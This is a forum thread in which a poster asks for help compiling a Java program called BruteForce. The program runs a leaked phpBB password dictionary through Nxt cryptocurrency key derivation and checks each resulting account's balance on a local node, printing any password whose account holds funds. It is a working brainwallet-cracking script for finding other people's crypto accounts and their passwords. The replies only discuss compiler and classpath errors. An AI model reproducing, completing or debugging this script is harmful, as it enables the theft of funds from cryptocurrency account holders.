Anyone on here know how?
I tried to compile this java programme and I get the following error:
BruteForce.java:27: error: cannot access HttpServlet
byte[] id = Nxt.Crypto.getPublicKey(input);
^
class file for javax.servlet.http.HttpServlet not found
1 error
The script compiling is here:
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.math.BigInteger;
import java.net.HttpURLConnection;
import java.net.URL;
import java.security.MessageDigest;
public class BruteForce {
public static void main(String[] args) throws Exception {
// Password dictionary
FileInputStream fstream = new FileInputStream("/phpbb.txt");
BufferedReader br = new BufferedReader(new InputStreamReader(new DataInputStream(fstream)));
// Read File Line By Line
String input;
long counter = 0;
Long start = System.currentTimeMillis();
while ((input = br.readLine()) != null) {
if(counter%1000000 == 0){
System.out.println(counter + ": " + input);
}
counter++;
// Generate ID using published class
byte[] id = Nxt.Crypto.getPublicKey(input);
// We could use getId, but we get a weird signed/unsigned problem
byte[] id2 = MessageDigest.getInstance("SHA-256").digest(id);
// Get account ID
BigInteger bi = new BigInteger(1, new byte[]{id2[7],id2[6],id2[5],id2[4],id2[3],id2[2],id2[1],id2[0]});
// Request balance for ID
String url = "http://localhost:7874/nxt?requestType=g ... e&account=" + bi.toString();
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
// Check for Accounts with a balance bigger than 0
if (!response.toString().contains("balance\":0")) {
System.out.println("Found:" + input);
}
}
System.out.println("Speed (tries/sec): " + counter*1000/(System.currentTimeMillis()-start));
br.close();
}
}
Compiling Java
Re: Compiling Java
Not one I've seen before
I'll see if anyone at work knows Java better than I tomorrow, though
I'll see if anyone at work knows Java better than I tomorrow, though
Slowly approaching the more bikes than birthdays achievement
- Miztaziggy
- Posts: 2451
- Joined: Fri Apr 15, 2011 9:15 pm
- Location: Tadcaster
Re: Compiling Java
Ahh, I may have gotten a little bit further now.
Found out that I needed J2EE which has the servlet but I had version 1.4 and now I am getting this:
class file has wrong version 51.0, should be 49.0
Please remove or make sure it appears in the correct subdirectory of the classpa
th.
byte[] id = Nxt.Crypto.getPublicKey(input);
^
1 error
Downloading 1.6 now so hopefully will solve
**edit**
Nope, didn't solve it, same error as original one
Found out that I needed J2EE which has the servlet but I had version 1.4 and now I am getting this:
class file has wrong version 51.0, should be 49.0
Please remove or make sure it appears in the correct subdirectory of the classpa
th.
byte[] id = Nxt.Crypto.getPublicKey(input);
^
1 error
Downloading 1.6 now so hopefully will solve
**edit**
Nope, didn't solve it, same error as original one
Re: Compiling Java
No one at work knows anything about Java apparently, and I don't fully understand what the script is doing.
Looking through the source properly now but don't expect miracles. I stopped using Java a while ago.
Where abouts did you get the script from?
Looking through the source properly now but don't expect miracles. I stopped using Java a while ago.
Where abouts did you get the script from?
Slowly approaching the more bikes than birthdays achievement